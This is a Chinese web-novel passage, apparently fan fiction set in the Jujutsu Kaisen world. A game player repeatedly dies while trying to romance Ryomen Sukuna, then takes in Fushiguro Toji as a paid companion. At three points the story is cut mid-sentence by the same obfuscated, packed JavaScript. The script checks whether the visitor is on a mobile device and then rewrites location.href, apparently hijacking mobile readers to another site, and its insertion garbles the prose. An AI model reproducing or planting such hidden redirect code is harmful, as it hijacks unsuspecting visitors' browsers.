《和咒术师恋爱吧!》 1. 第一章 顶楼的豪华餐厅里,一张大大的圆桌上摆满了各式各样的美食。然而奇怪的是,桌子前只坐了一个人。 这是个美丽的女人,她穿着一眼就能看出来的昂贵衣服,柔软的布料包裹着她匀称的身体,怎么也不像是能吃完这一整桌菜肴的人。 当最后一道菜按照她的要求端上来后,她很久没有动作。直到烤牛肉上的白色雾气慢慢消失,温度逐渐冷却,她才抬手,慢吞吞地切下一块,塞进嘴里。 嚼着嚼着,忽而,她落下了泪。 一旁悄悄用余光看着这边的服务员吓了一跳,有些担心,又有些唏嘘。 ——她一定是约了人然后被放鸽子了,说不定那个人还是她喜欢的人。真是可怜啊,都长得这么漂亮了,也会受爱情的苦吗? 今野桃并不知道包括服务员在内的旁人是如何看待她的,她已经完全沉浸在了自己的情绪之中。 服务员倒也没有全部猜错,她落下的那滴眼泪之中,确确实实有一半是为了某个男人。 应该算是男人? 毕竟两面宿傩有四只手、四只眼睛,不好说他还算不算在男人的范畴里了。 烤牛肉虽然已经冷掉,但油脂的香气和美味仍然直冲她的大脑,像是于极热的夏日吃到了一口冰西瓜,在猛地打了个哆嗦后,就是纯然的舒爽了。 苍天在上,一千年前还处于平安时代的日本简直就不是人呆的地方,简单概括一下就是:没吃的,没穿的,没住的,生死有命,全靠天意。 就算是王公贵族,吃的最多的,也不过是腌鱼。 更别提,世界背景里还添加了咒力这个高危因素。 今野桃是在半年前接到这个委托的,委托人请她给一款全息恋爱游戏做攻略,并且承诺做出一个男主的HE攻略就支付十万美金的报酬。 彼时,刚刚因为不肯结婚而被赶出家门的今野桃兜里只有自己靠游戏赚来的微薄存款,于是她被高额的酬金迷花了眼,自信进入游戏。然后,就在第一个攻略男主的手上死了四十九次。 怪她自己,没仔细挑挑,挑个面善的,而是直接选择了攻略列表最靠前的那个角色——两面宿傩。 所以落地就被砍成十八段,也是意料之中的事情了吧,哈哈(干笑)。 今野桃看着自己花了一分二十七秒打出的第一个结局沉默不语。 【两面宿傩-尘埃(BE) ——人生无根蒂,飘如陌上尘。】 今野桃:…… 呃啊!!不就是恍惚了一下,在其他人都跪下的时候站着了吗,你至于把她细细切成臊子吗?! 幸好这游戏默认初始痛觉为10%,今野桃好像被人不轻不重地拍了一下就结束了这周目。 唉。 再来。 勇敢桃桃,不怕困难! 通过一次死亡,今野桃大致摸清楚了这位诅咒之王的性格——残忍冷酷、狂妄嗜杀。 要么顺从他,要么死亡。 而且,今野桃有点悲哀地发现,她好像还在他的食谱上。 是的,两面宿傩吃人,尤其爱吃女人和小孩。当然这并不代表他对男人有什么包容之心,在这个充满着歧视、尊卑、阶级压迫的年代,两面宿傩对所有人都一视同仁——看不顺眼的都杀了。 他杀的男人应该比女人要多,一方面是女人很少在外行走,另一方面,男人比女人更不识时务。 今野桃在知道两面宿傩食谱的那刻,扑通一声跪在了地上。 她双目失神,不是害怕,而是绝望。 她特别爱吃炸物和烤物,于是自我代入了一下,很难想象自己在什么情况下会爱上一只能说话的炸鸡。 不不不,炸鸡会说话才更恐怖吧! 用了三次死亡为代价,今野桃终于成功避开了所有死亡节点,成功来到了两面宿傩的面前。 “请吃掉我吧。”她匍匐在地上,声音虔诚地说道。 两面宿傩的手指微动,挑眉说道:“哦?真有趣,你想让我把你吃掉?” “是的。”今野桃郑重地说,“或许这样,是我能发挥出来的最大的作用。” 两面宿傩短促地笑了一声,猩红色的眼瞳似乎要看穿她的皮囊:“真有意思,既然如此,那我就满足你想死的心愿。” 他刚刚抬起手,就看见眼前的女人猛地抬头。 她露出来的,不是一张他想象中的充满着恐惧和怨恨的脸蛋。对视时,他望见了她目光中的……喜悦? “不不不,您误会了。”她真诚地说道,“肉类不是鲜切才最好吃吗?您可以考虑一下怎么切才能把我身上的肉剔下来而我又不会死,这样您就能可持续发展了!” “……”两面宿傩少有的感觉到了无语,但他也很好奇,这个女人当真能眼睁睁看着自己被切肉吗? 斩击破开空气,以一种极快的速度划过她的手臂,切下来了一块鸡蛋那么大的肉片。 女人没有哭叫,而是用好奇的目光打量着这块从她自己身上掉下来的肉。 “够吃吗?”她嘀咕着。“肯定不够吧。” 她期待地看着两面宿傩,像是等待着客人点评的厨师。那双亮晶晶、清凌凌的眼珠子上,看不见半分畏惧。 见两面宿傩只是低头吃着不说话,今野桃急了。 “好吃吗?” 两面宿傩古怪地看了她一眼,几不可见地点了点头。 “好耶!”今野桃欢呼一声,打开了好感值界面。 【两面宿傩好感值:0】 今野桃:??? 不是说她好吃吗?怎么好感值是零啊! 今野桃不敢置信地看着两面宿傩。下一秒,她的脑袋就飞起来了。 “你的眼神,真叫人不愉快。”两面宿傩冷漠地瞥了一眼尸体,“吃了你的肉,我怕变得跟你一样愚蠢。” 今野桃:……可惜她死了不能说话,不然高低得喷他几句! 什么人啊!吃了她的肉,还说她傻!! 如果她的肉真的能让人变傻,她高低得先给两面宿傩喂个十七八斤! 今野桃看着结局CG,对两面宿傩竖起了一根中指。 然后她读档回去了。 对无敌的玩家来说,不过是一次BE而已,小事。 那个时候的她还没有想到,后面会有四十多次BE在等着她。 . 今野桃抹了一把眼泪,将切成小块的小羊排叉了起来,黑胡椒汁的味道在口腔里爆开,让她享受地眯起了眼。 她几乎是心怀感激地品尝着这顿饭。 可惜,意外就是不在计划中出现的事情。 “你混蛋!”女人的哭声在旁边响起,今野桃侧过头,看见一张梨花带雨的脸颊。 女人的对面坐着一个身材魁梧健硕的男人,因为背对着今野桃,所以她没有看到他的神情。 “小姐。”男人的声音轻佻,“我只是提醒你一下,你包的时间结束了,也没做什么别的事情吧?” 女人哽了一下,她伸出手想去抓男人的手掌,却被轻松避开,她的神色越发痛苦,眼泪止不住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135735|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地往下流。 “甚尔,难道我们之间就只有金钱吗?你就没有对我动过一点心吗?” 男人语气平静:“佑子小姐,我以为你知道的,这是我的职业哦。” 女人抓住旁边的水杯,猛地浇在了对面男人的身上:“我再也不想看见你了!” 说完,她拎起旁边的包,逃似的离开了这个地方。 仿佛察觉到了今野桃的目光,男人回过头来。被茶水淋湿的他并不显得狼狈,反而有些……色气。 水珠从他的额发上往下滴,落在T恤衫上,将白色的布料打湿,隐隐洇出下面肌肉的纹理。 他对上了今野桃的视线,在短暂地停顿后,他起身,朝今野桃这里走来。 “一个人吗?”他勾了勾嘴角,随意地问道。 今野桃收回目光,随意地点点头。 “介意我坐下来吗?”男人凑近了一点,“我叫伏黑甚尔,能请问小姐你的名字吗?” 这样的搭讪本该显得油腻,但因为伏黑甚尔那张英俊的脸蛋和独特的气质,所以今野桃还能忍受。 “我叫今野桃,请坐吧。” 伏黑甚尔一点不客气地坐在了她的旁边,夹起了一个鸡翅便大快朵颐起来。今野桃看着他吃东西,不知不觉也吃得快了。 没想到最后一大桌食物竟然真的被他们两人全部吃掉,一点没有剩下。 “我刚刚注意到,桃小姐一个人坐在这里悄悄哭泣哦。”嘴上用牛郎的语气说着话,伏黑甚尔的表情却是漫不经心的,“是被人伤害了吗?如果不介意,可以跟我说说。” 今野桃张了张嘴,但还是摇摇头:“没什么。” “好吧,很遗憾呢,不能为你这样美丽的小姐排忧解难。”伏黑甚尔靠近了她一点,压低声音说道,“或许,你今晚愿意收留我,我们可以用更漫长的时间来聊一聊,毕竟旧的不去,新的不来……” 他的嘴唇轻轻擦过她的耳廓,带出一点痒痒的感觉。 今野桃抿着嘴,瞥了一眼他的好感值,10点。 属于看得还算顺眼的陌生人那一档。 今野桃不太习惯地往旁边躲了躲,思绪恍惚了一瞬。 伏黑甚尔十点好感值就可以做尽亲密的事情,而她第一次靠近两面宿傩且没有被他杀掉,已经是好感值五十点以后了。 今野桃垂下眼睑。 与其说是她靠近了两面宿傩,不如说,是她被两面宿傩捉住了。 死亡了三十多次后,在那个黄昏时刻,那个象征着生与死的交界点。 她的脖子被诅咒之王粗糙而宽大的手掌握住,如一只濒死的鸟儿在瑟瑟发抖。 铁锈般的血腥气在唇齿间弥漫,她想挣脱,却又毫无办法。坚韧而柔软的舌头越发深入她的喉咙,顶得她几欲作呕,只能努力想些别的事情好分散自己的痛苦。 “呜……”细碎的哭腔几不可闻,被吞没在两人相连的地方。 这不是一个吻,而是一场掠夺。 直到眼泪止不住地落下,眼尾浮现出破碎的绯红,连意识都开始变得模糊不清,怪物才意犹未尽地退出来。 他似乎嘲笑了她,用暧昧的、讥诮的话语。 今野桃有点想不起来了。 两面宿傩也死了有一千多年了吧。 只是,此时她忽然生出了一点疑惑—— 在亲吻她的那一刻,在两面宿傩的心里,她仍然是一粒尘埃吗? 可惜那个时候她没问,后来也忘了问。记忆里最清晰的,是后面紧跟着的死亡结局。 2. 第二章 跟着两面宿傩是很危险的,他的敌人杀不死他,就会想要从他身边的人下手。 里梅实力出众,今野桃就是最大的弱点。 那些人以为自己抓住了两面宿傩的软肋,却不知道对两面宿傩来说,她什么也不算。 趁着两面宿傩外出而跑来偷家,身穿狩衣的男人抬手,一道风刃从折扇中挥出,直直砍向女人。女人倒下时,表情仍然是迷茫的。 “你杀了她干什么!不要做多余的事情!万一她是……” “怕什么,一个普通女人能被我杀死,她应该感到荣幸!”男人阴沉地说道,“如果她和两面宿傩真的有什么关系,杀了她,会让两面宿傩有一秒钟的痛苦,也是值得的。” 知道他唯一的儿子曾死在两面宿傩的手中,其他人都沉默了。 趁着夜色,这些人又悄悄离开。 天亮后,两面宿傩回来了。他的视线扫过狼藉的屋子,最后落在已经流干了血的尸体上。 “真是……不知死活。”他的声音中含着无边的杀气,随后转身说道,“处理掉她,里梅。” “是。”里梅应下,弯腰将尸体抱了起来,来到后院,挖了个坑埋好。 宿傩大人没说要吃她,那应该就是要将她下葬的意思吧。 里梅望着女人苍白的面容一点一点被泥土覆盖,临走的时候,从旁边移了一株野花,种在翻过后显得松软的土地上。 回到两面宿傩的身边,两面宿傩看了一眼他沾染了灰尘的衣摆,什么都没说。 【两面宿傩-过客(BE) ——生者为过客,死者为归人。】 今野桃的死亡没有激起两面宿傩的一丝同情,甚至好感值还下降了五点,最后定格在四十五。 青筋在脑门上直蹦,她费了好大劲才压下去。 今野桃有些心累地读档回去,然后在两面宿傩将要离开的时候提示他:“今夜有敌袭。” 两面宿傩回头望她,挑眉问道:“这也是你的‘预知’?” 今野桃只是意味深长地笑着。此时的她像是戴上了一副面具,把自己和其他人分隔开来。 两面宿傩见不得她这副云淡风轻的模样,明明初见的时候狼狈得要死。 他弯腰,握住她的脖子,轻巧地将人拎了起来。然后他满意地看见她双眼瞪大,瞳孔里只倒映着他的身影。 大拇指陷入柔软的唇瓣中,碾出一道红痕。 今野桃垂下眼睑,好收敛住眼睛里的愤愤。可惜她这种单薄的伪装骗不过怪物,两面宿傩抬起她的下巴,对上了她黝黑的瞳孔。 “想杀了我吗?”他叹息一声,“可惜你太弱了啊,连在我身上留下一个伤口都做不到呢。” 今野桃的被嘲讽到了,她看看自己的属性,又看看两面宿傩的属性,气得打抖。 “没……”她从牙缝里挤出几个字,“我没想杀您……” 才怪!该死的两面宿傩,迟早把你片成一百八十片! 虽然是第一次玩这个游戏,但游戏简介里有提到“咒术师”,所以今野桃很清楚“咒力”的重要性。但不知道是不是运气不好,她摇了半个小时都没摇到“咒力”,最后只能以普通人的身份进入游戏。 后来她得知,普通人多少也是有一点点咒力的,身为玩家,咒力为零代表着她的咒力永远无法增长,只能维持普通人的状态。 至于摇到了咒力这个属性,但数值为零,那就又是另外一回事了。她推测,或许配合商城里的那个叫做“天予咒缚”的道具使用,会有奇效。 但她是绝对不会氪金的!她不可能付费上班!(语气坚定) 最后今野桃选择了一个还算不错的数据开局。 体质6,力量7,魅力5,敏捷6,智力6。 这是她开局时的属性。如今在她的辛勤锻炼下,变成了体质8、力量9、魅力7、敏捷8、智力7。 看起来很不错对不对,但是天杀的啊,两面宿傩的属性是咒力30、体质30、力量30、魅力27、敏捷30、智力28! 原来这游戏的满值属性不是10点啊! 今野桃想起自己看见两面宿傩属性面板时内心的震惊,那个时候她真的没忍住笑了一下。 原来人无语到极点的时候是会笑的。 她的全力一击,或许能划破两面宿傩的一层油皮。 不对,她的攻击真的能碰到两面宿傩吗? 怪物从鼻腔里哼出一声短促的笑。他并不在意今野桃的想法,因为对这个女人还算感兴趣,所以把她留在了身边。等到哪天失去了兴趣,就把她杀掉好了。 反正她也没有反抗的能力嘛。 两面宿傩的鼻尖擦过她的耳根和颈后,闻到了属于女人的芳香。兴奋的火焰点燃了他的瞳孔,让他的尖牙蠢蠢欲动。 她的肉……一定会很好吃吧……要不然先吃一只手解解馋,然后用反转术式给她治好? 不妙的想法充斥了大脑,湿滑的舌尖舔过肌肤,带出一串触电般的错觉。 他卷走女人的舌头,几次蹭过牙齿,欲咬又止。 今野桃忍了又忍,终于忍无可忍,她先发制人,狠狠咬了下去,血腥味直冲鼻腔。 反转术式运转起来将伤口治好,两面宿傩眯着眼盯着她。今野桃故作柔弱地小声嘤嘤哭道:“对不起,宿傩大人,我不是故意的……” 她还怕他不成,反正她已经火速把痛觉下调 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135736|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到最低的5%了。 “真大胆啊,”两面宿傩捏住她的嘴唇,亲昵地说道,“看样子你是想让我把你的舌头割下来,片成一片一片地吃掉。” 今野桃知道,两面宿傩并不是在开玩笑,他做得出这种事情。 她吸了吸鼻子,哽咽道:“可以不沾芥末吗?我不爱尝那个味道。” 两面宿傩和她对视着,四只眼睛看得她发毛。 “那、那烧烤行不行……”她弱弱说道,“我爱吃烧烤……” 良久,两面宿傩松开了手,任凭她滑落在地。 “里梅,你留在这里。”两面宿傩轻飘飘地说道。 “是。” 里梅的实力很强,虽然平日里,两面宿傩都拿他当冰箱使用。两面宿傩离开后,他就坐在院子里,哪里都不准备去的样子。 “你这样不行的啊。”今野桃躺在榻榻米上,撑着脑袋指指点点道,“敌人有很多,你这样大大咧咧地坐着,岂不是一眼就让别人看见了。建议你藏起来偷袭,可以更快结束战斗。” 里梅瞥了她一眼,目光掠过她脖子上的伤痕,没说话,却站了起来,找了个角落又坐下了。高大的树木和茂密的草丛遮住了他的身影,到了晚上,一定更不容易被发现。 时间差不多,今野桃拎起裙摆,离开了这间屋子。她没打算插手战斗,免得到时候被波及,还要去赌里梅会不会救她。 唔……应该会救她的吧? 今野桃不确定。 不过她也没有离得太远,感受到冰霜的寒气和哀嚎声后,估计战斗应该结束了,她又探头探脑地回到院子。 趴在回廊的拐角处,今野桃看见院子里已经如同深冬一般变成了冰天雪地,敌人都被冻僵在了冰块里,连同鲜血一起。 “哇哦,真是厉害啊。”今野桃感慨,“你一个活口都不打算留吗?” “没必要。”里梅淡淡回道。 今野桃眨了眨眼睛,问道:“万一宿傩大人回来,想品尝一下敌人怎么办?” 里梅愣了一下,陷入思索中。 “要不然就留下一个吧。”今野桃提议,然后她似是随手一指,“我看那个人好像实力不错,或许宿傩大人会喜欢呢?” 里梅掀了掀眼皮,咒力涌动,那个被冰封的男人跌落在地,反转术式吊住了他一口气。 今野桃谨慎地存了个档,慢吞吞地走了过去,迎着男人恐惧的眼神,笑了出来。 “别怕,能成为宿傩大人的食物,你应该感到荣幸呀。”她对男人眨了眨眼睛,俏皮地说道,“或许你还可以拼尽全力挣扎一下,会让两面宿傩有一秒钟的痛苦,也是值得的嘛。” 玩家,就是这么记仇的呀。 3. 第三章 两面宿傩在第二天早上回来,此时院子已经被里梅打扫干净,只留下那个打算作食物的男人。 然而两面宿傩只是扫了一眼,就嫌恶地说道:“难吃。” 虽然会吃人,但两面宿傩对食物的要求是很高的,这种男人一看就不好吃。 里梅也知道两面宿傩对食材的偏好,但他还是将这个男人留了下来。 不枉费玩家顺手刷的好感值! 男人听见两面宿傩对他的嫌弃,还没来得及高兴,下一秒,两面宿傩的手指微动,一道斩击将男人一分为二。 今野桃瞄了一眼,只能看见一团马赛克。 挺好,保护玩家的游戏体验。 不然她看见血呼拉茬的场景忍不住惊叫的话,恐怕两面宿傩也会把她切成两半。 唉,他就是那种喜怒无常的人啦…… “还在思念前男友吗?这样会让我很挫败的呢。”伏黑甚尔叹息一声,把今野桃的思绪拉了回来。 男人往后靠着,一只手搭在椅背上,露出偾张的肌肉,肆无忌惮地散发自己的魅力。 “需要一个安慰的吻吗?看在晚餐的份上,可以不收你的钱。” 今野桃撇过脸,拒绝了:“谢谢,但是不必了。” 说到吻,两面宿傩喜欢在两人战斗后吻她。 那时候,他的好感值已经超过了六十。大概是因为今野桃的实力实在是太弱,他看不下去了,所以一有空,他就要把今野桃抓过来锻炼。 说是锻炼,其实就是挨打。 一般是起手抓住衣领,然后把人甩出去。 今野桃落地的时候滚了几圈,好悬没被摔得背过气去。 是的,她的敏捷和体质就是这样提高的。(悲) 两面宿傩似嘲非嘲地笑了一声,手指微动,一道斩击直勾勾地朝着今野桃劈了过来。 今野桃一个鲤鱼打挺,险而又险地避开了这次攻击。 “看,这不是能行吗。”两面宿傩红色的眼珠锁定了她,嘴角带着恶毒的笑意,“快点朝我攻击啊,只会逃跑的话,是会被我杀掉的哦。” 今野桃被打得抱头鼠窜,她难道就不想还手吗?问题是她还得了手吗! 又是一个驴打滚,今野桃躲在了树后,避开了一道斩击,抓住这个机会,她拼尽全力拉开了弓箭。这是两面宿傩给她的咒具,普通人也可以使用。弓箭上附着了咒力,不仅杀伤力更强,也能伤害到咒灵。 两面宿傩只是微微侧头,就轻而易举地让箭支落了空。 “啊,有进步。”他笑道,“那我要开始热身了。” 刚刚那几下,对两面宿傩来说,跟玩似的。但对今野桃来说,已经是极限了。 “你又在偷懒了。”两面宿傩不满地说道,“我才用了两招而已。再不起来,我就将你的腿砍断。” 哪怕被如此威胁,今野桃也只是在地上弹跳了两下。 打不动了,真的打不动了。 若换了别人,两面宿傩的下一招就会见血。但现在…… “里梅。”两面宿傩轻描淡写地说道,“从今天起,不必再单独做她的饭……” “等等!”今野桃奋力爬起来,“我还能行!” 她要吃里梅的小灶,不要跟仆人一起吃大锅饭!她拒绝吃那种不脱壳的稻谷!咽下去的时候就像是用刀片在刮喉咙! 箭支轻飘飘地砸了出去,落在两面宿傩的身上没有激起一点水花,两面宿傩被她的弱小给逗笑了。 斩击切开空气,带着凛然的气势朝着今野桃袭来,今野桃在地上一连打了两个滚才勉强躲开,衣服变得破烂又皱巴,再好的布料也经不起这样的糟蹋。 直到被榨干了最后一滴体力,斩击斩断她的头发,在她的后背留下了一道深深的血痕,两面宿傩才十分不尽兴地停了下来。 他上前一步,将今野桃拎了起来,好似拎着一只可怜兮兮的小猫。两面宿傩晃了晃,今野桃垂下来的四肢也跟着晃了晃。她掀起眼皮,瞥了两面宿傩一眼。 大概是被打得狠了,她的眼圈红红的,也忘记维持自己的伪装,清凌凌的目光中带着对两面宿傩的哀怨与愤恨。 这下又像极了被关在笼子里的鸟儿,明明已经有了被囚禁一生的命运,还在不甘心地妄图挣扎。 这样的她,看起来更加美味了。 顺从自己的心意,两面宿傩低下了头。 他的吻从来不是温柔的,和柔软唇瓣接触的时候,就开始以一种近乎激烈的力道在吞噬她。 今野桃一开始还能迎合一下,后面也摆烂了,只是有一搭没一搭地敷衍。在他不满的时候,讨好地用舌尖舔舔,像小猫喝水。 两面宿傩松开她,啧了一声,把人扔下后离开了。今野桃在地上躺了一会,自己爬了起来。她拍拍身上的灰,若无其事地走到了里梅的面前,大声说道:“我要吃烤肉!” 里梅看了一眼还没走远的两面宿傩,见他什么反应都没有,于是微微点头。 今野桃走进屋子时,透过被划开的布料,里梅看见她洁白一片的肌肤。 ——那些伤口都已经消失了。 两面宿傩从来不说喜欢她。 但他似乎确实有点喜欢她。 . 今野桃掏出钥匙,打开屋门,侧身让东张西望的男人进去。 伏黑甚尔大摇大摆地脱了鞋子,毫不客气地坐在了沙发上,本来还算大小合适的沙发一下子变得逼仄起来。 未收拾的书本还摆在桌子上,今野桃慢吞吞地走过去弯腰将它们归拢起来。 这周目,她依然没能摇到咒力,好在摇到了一个不错的家世——某集团老总的独生女。 不需要上班,可以尽情享受人生。 只不过她觉得和家人一起住会不自在,所以自己在外面租了一个独栋的小公寓。 说是小公寓,也有上下两层带一个阁楼,共两百多平米。里面家具布置档次都不低,再加上地理位置优越,因此其实价格还挺昂贵。 “大小姐果然有钱。”伏黑甚尔调侃道,“我就知道没看错人。甩掉你,肯定是你前男友的损失啦。” 今野桃撇撇嘴:“女人伤心难道就一定是要因为男人吗?” 她也可以因为没钱而伤心。 男人会长腿跑掉,而钱会对她不离不弃。 她的语气有点冲,伏黑甚尔并不在意,而是故作惊讶地问道:“不是因为前男友吗?” 前男友……两面宿傩算她的前男友吗? 根本就不算! 今野桃深吸了一口气,慢慢平复掀起波澜的情绪。旁边递过来一张纸巾,伏黑甚尔蹲在她的身侧,嘴角衔着一抹似笑非笑的弧度。 “看在豪华晚餐的份上,有什么心事可以跟我说哦,我会努力安慰你的。” 好歹是酒吧销冠,哄个女孩子还不是手到擒来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135737|164426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 伏黑甚尔在这点上还是很有自信的。 于是他看见眼前的女人面上露出了心动的表情,顺着他握住手掌的力道坐到了沙发上。 “伏黑君……” “叫我甚尔就行。” “好吧,甚尔。”女人清了清嗓子,一脸认真地说道,“我知道你的感情经历比较复杂,或许可以替我解答这个问题。” “请说。”对金主,伏黑甚尔好脾气地接道。 “如果你很爱一个人……”她斟酌着问道,“你会想要杀掉她吗?” “……” 伏黑甚尔掏了掏耳朵。 “你说什么?”他以为自己就够渣的了,没想到还有比他更渣的?! 爱你所以想要杀掉你?! 伏黑甚尔沉默两秒,诚恳地说道:“那种人一定有病,跑得越快越好。” 跑……吗?其实她也并没有跑掉。诅咒之王怎么能容许自己的猎物逃走。 宁愿豢养的宠物死在自己的手中,也决不允许其他人染指。 . 那是两面宿傩的成名之战。 接二连三来讨伐他的咒术师都失败而死后,脸面被狠狠踩在脚底的平安京终于下定了决心要将他彻底祓除。 他们派出了藤原北家直属的精英征伐队[日月星进队]和[五虚将],纠集了平安京赫赫有名的咒术师们,气势汹汹地朝着两面宿傩袭来,誓要将两面宿傩和他身边的党羽全部消灭。 今野桃被卷入其中,为此死亡了四次。 她没办法逃走,和两面宿傩厮混了这么久,她的身上早已沾染了两面宿傩的气息,到处都是他的残秽,就算是逃到天涯海角也一样会被找到。 甚至离开了两面宿傩的身边后,连二级咒灵都打不过的她死得更快了。 为了那点似有若无的爱意,两面宿傩为了救她多次回援,少有地展露出了狼狈的姿态。 再一次逼退了咒术师们的进攻,两面宿傩、里梅和今野桃隐藏在结界里,慢慢恢复体力。 今野桃烦恼地嘟囔道:“他们人多打我们人少,真不要脸。” 两面宿傩没有说话。 良久,他回头,猩红的眼眸里流露出几分莫名的意味,让人脊背发凉。 “桃桃啊。”他叹息道,“你爱我,对吗?” 今野桃愣了一下,回道:“是啊,我当然爱你。” 所以求求他赶紧给她一个HE吧!她会为了十万美金而对他感激涕零的! 两面宿傩深深望进她透亮的眸子,笑了起来。 “我也爱你。” 【两面宿傩好感值:80】 下一秒,鲜血飞溅。 今野桃茫然而不敢置信地看着他,身体颓然倒下。 “与其死在那些废物的手上,不如被我杀死吧。”两面宿傩上前一步,踩在淌出的血泊中。 他蹲下,轻柔地摸了摸今野桃的脸颊。 “咒术师想要折磨人的手段可太多了,而我会给你一个干脆的死亡。”两面宿傩喟叹道,“毕竟我是如此地爱你。” 【两面宿傩—飘絮(BE) ——多情自古空余恨,好梦由来最易醒。岂是拈花难解脱,可怜飞絮最飘零。】 画面定格在两面宿傩影影绰绰的红眸中,今野桃在漫长的沉默中嗤了一声。 什么爱情,明明就是觉得她拖累了他。 真是虚伪。 4. 第四章 伏黑甚尔看着眼前女人再次陷入低沉的情绪之中,有点烦躁地抓了抓头发。 这个女人长得漂亮,人也大方,手上还有钱,一看就是优质金主的人选。跟着她,说不定能混上一段不错的日子。 那就哄一哄吧。 这么想着,他撩起衣服的下摆,一把抓住了她的手,按在了自己的腹部。 果然,女人瞬间回过神,瞪大了眼睛。 “你、你这是做什么?!”她结结巴巴地说道,“这多冒昧啊!” 嘴上这么说着,她的手指却忍不住蜷缩了一下,指腹感受到肌肉美妙的弹性。 快拿走快拿走,她可不是那样的人! 今野桃的脑海中正在天人交战,伏黑甚尔却满不在乎地说道:“没办法嘛,谁让你看起来不开心。现在呢,开心点了吗?” 这可是他混迹牛郎店里领悟出来的必杀技,至今还没有哪个富婆抵挡得住他这一招。 沉默片刻,今野桃屈从了。 “开心……”块垒分明的腹肌摸起来太解压了,仿佛有什么让人挪不开手的魔力。 伏黑甚尔轻佻地笑着,甜言蜜语像是不要钱地往外撒。 “你开心就好。所以今晚我睡哪里?” “你、你自己选吧,除了主卧都行。” 伏黑甚尔毫不客气地占据了次卧。 如他所想的那样,这位今野桃小姐当真是一位千载难逢的好金主。不仅给钱爽快,事也少。 大概是因为刚刚受了情伤,她对伏黑甚尔并没有什么情感上的需求,两人顶多就是牵牵小手,连亲吻都没有。 啧啧啧,和大小姐的前任比起来,没想到有一天他伏黑甚尔也能被称一句“好男人”呢。 伏黑甚尔的日子过得很快乐,对自己新金主的喜爱也是与日俱增。 算着空闲时间在孔时雨那里接了一单,轻松将诅咒师斩于刀下,伏黑甚尔回去的时候,在路边的水果店里刷大小姐的卡买了一大堆价格昂贵的水果。 虽然他有点嘴馋,但大小姐昨天不也说想吃吗,他这可是专门买给她的礼物。 懒得走正门,伏黑甚尔哼着歌从窗户口翻进屋,他看见今野桃没什么精神地坐在沙发上。 “啊,你回来了。”她朝他招了招手。 “给你带回来的。”伏黑甚尔将袋子放在桌上,一屁股坐在了她的旁边,“午饭吃什么?” 今野桃闻言微顿,她怎么觉得自己养了一只狸花猫,只有吃饭的时候才知道回家。 “呐,甚尔。”她轻叹道,“你平时做什么打发时间呢?” 伏黑甚尔的好感值已经升到了40,速度相当快,之后就停滞了下来。或许这就是日常能给的最高上限了,想要继续提高,需要触发新的节点。 伏黑甚尔摸了摸下巴,恍然大悟。 他懂了,大小姐这是要给平淡如死水的生活找点乐子了。 “我的话……”他斟酌了一下,回道,“赌马吧。” 大小姐是个普通人,其他的也不能对她说。 “赌马啊……”今野桃沉吟着,开口道,“甚尔,你能带我去吗?” “可以啊。”伏黑甚尔爽快回答,“大小姐什么时候想去?” “现在。” . 今野桃以前没有接触过赌马,但赌马的规则简单,再加上还有一个老手伏黑甚尔在一旁指导,所以她很快就搞清楚了。 “大小姐要买几号?”伏黑甚尔兴致勃勃地指点道,“我觉得买三号不错,上一场这个三号表现得很出彩,说不定这一次它能赢呢。” 今野桃从善如流地听取了他的意见,买了三号。 意料之中的,三号输了。 两人的表情都没有变化,伏黑甚尔思索了几秒,又说道:“这次买七号吧,七号的胜率很高呢。” 他自己很少跟着胜率买,但既然是陪着大小姐来玩,自然要考虑一下她的游玩体验。 “好。”今野桃点点头,又跟着他买了七号。 七号也输了。 她微微挑眉,看向伏黑甚尔。伏黑甚尔摸了摸鼻子,眼中闪过一丝不易察觉的心虚。 “算了,大小姐你自己买吧。”他清了清嗓子,补充了一句,“不过赌马啊,十赌九输,很正常的。” 不,对你来说很正常,但对玩家来说不正常! 今野桃在这里存了个档。 她买了二号。 伏黑甚尔思虑良久,买了九号。 最后五号赢了。 “哈哈,我说了嘛,赢的概率很低的。”伏黑甚尔耸了耸肩膀,“能在开奖的那一刻感受到紧张和激动就已经足够了。” 他追求的,也不过就是这么点东西了。 今野桃哼了一声,读档回去。然后她大手一挥,买了五号。 “五号?”伏黑甚尔嘀咕道,“五号看起来也太普通了吧……” 今野桃笑而不语。 伴随着欢呼声和嘘声,五号率先冲线。伏黑甚尔“嚯”了一声,语气带上了两分恭维。 “大小姐还挺厉害的。” 今野桃将五号的奖券递了过去:“你去领吧,输了算我的,赢了算你的。” 伏黑甚尔的表情立刻变得惊喜万分,他笑嘻嘻地接过了这张价值数十万的奖券,旁边的人都投来羡慕的眼光。 伏黑甚尔是赌马场的“老熟客”了,以十次输九次而被大家眼熟。 